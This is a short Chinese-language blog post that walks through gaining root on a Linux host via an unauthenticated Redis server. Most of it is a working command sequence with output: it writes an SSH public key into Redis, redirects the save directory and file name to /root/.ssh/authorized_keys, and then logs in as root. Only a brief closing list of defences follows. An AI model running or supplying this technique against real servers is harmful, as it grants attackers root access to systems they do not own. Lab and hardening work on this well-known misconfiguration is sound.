通过 redis 获取系统的 root 权限

无意中在看到一篇利用 redis 获取 ssh 登录权的文章,自己试验了一下。

连接 redis

入侵redis shell-session
[root@fangjin ~]# redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379> set #key "\n\nssh-rsa AAAAB3NzaCxxxxx\n\n"
OK
127.0.0.1:6379> config set dir /root/.ssh
OK
127.0.0.1:6379> config set dbfilename authorized_keys
OK
127.0.0.1:6379> save
OK

利用 redis 的持久化将键值对缓存到 /root/.ssh/authorized_keys 中:

[root@e9ea89bbb38e .ssh]# cat /root/.ssh/authorized_keys


Raof-preamble���#keyver5.0.8�
�edis-bits�@�ctime�YE�aused-mem���
sh-rsa AAAAB3NzaCxxxxx

���Դ��rw[root@e9ea89bbb38e .ssh]#

可以看到公钥明文已经被写入,此时直接通过 ssh 连接就能拿到 root 权限:

ssh 入侵 shell-session
[root@fangjin ~]# ssh -p 22 -i ~/.ssh/fangjin root@127.0.0.1
The authenticity of host '[127.0.0.1]:22 ([127.0.0.1]:22)' can't be established.
ECDSA key fingerprint is SHA256:B+N75iAqdN1g0TuXZXv0LgScZeTgvrsG2rQdS1o4L7U.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:22' (ECDSA) to the list of known hosts.
Last login: Wed Dec  1 09:54:00 2021 from gateway
[root@e9ea89bbb38e ~]# whoami
root

防护

  • redis 限制内网连接。

  • 设置连接密码。

  • redis-server 不要使用 root 用户启动。